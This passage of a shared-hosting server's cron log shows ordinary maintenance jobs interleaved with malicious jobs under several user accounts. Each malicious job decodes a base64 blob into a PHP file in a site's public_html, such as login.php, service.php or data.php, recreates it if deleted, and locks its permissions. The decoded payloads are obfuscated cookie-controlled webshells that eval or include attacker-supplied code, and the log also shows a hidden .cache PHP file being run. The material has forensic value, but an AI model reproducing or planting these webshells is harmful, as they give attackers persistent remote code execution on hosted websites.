mV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:39:02 medusa CROND[16290]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 10:39:02 medusa CROND[16292]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:39:02 medusa CROND[16293]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:39:02 medusa CROND[16297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:39:02 medusa CROND[16299]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:39:02 medusa CROND[16300]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:39:02 medusa CROND[16301]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:39:02 medusa CROND[16302]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:39:02 medusa CROND[16303]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:40:01 medusa CROND[5409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:40:01 medusa CROND[5421]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:40:01 medusa CROND[5522]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:40:01 medusa CROND[5523]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 10:40:01 medusa CROND[5524]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:40:01 medusa CROND[5525]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 10:40:01 medusa CROND[5526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:40:01 medusa CROND[5527]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:40:01 medusa CROND[5528]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:40:01 medusa CROND[5530]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:40:01 medusa CROND[5533]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:40:01 medusa CROND[5535]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:40:01 medusa CROND[5537]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:40:01 medusa CROND[5531]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 10:40:01 medusa CROND[5550]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:40:01 medusa CROND[5556]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:40:01 medusa CROND[5559]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:40:01 medusa CROND[5558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:40:01 medusa CROND[5561]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:40:01 medusa CROND[5563]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:40:01 medusa CROND[5564]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:40:01 medusa CROND[5565]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:40:01 medusa CROND[5568]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:40:01 medusa CROND[5560]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 10:40:01 medusa CROND[5572]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:40:01 medusa CROND[5579]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:40:01 medusa CROND[5570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:40:02 medusa CROND[5553]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 10:41:01 medusa CROND[25474]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:41:01 medusa CROND[25477]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:41:01 medusa CROND[25512]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:41:01 medusa CROND[25513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:41:01 medusa CROND[25514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:41:01 medusa CROND[25515]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:41:01 medusa CROND[25516]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:41:01 medusa CROND[25520]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:41:01 medusa CROND[25521]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:41:01 medusa CROND[25522]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:41:01 medusa CROND[25526]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 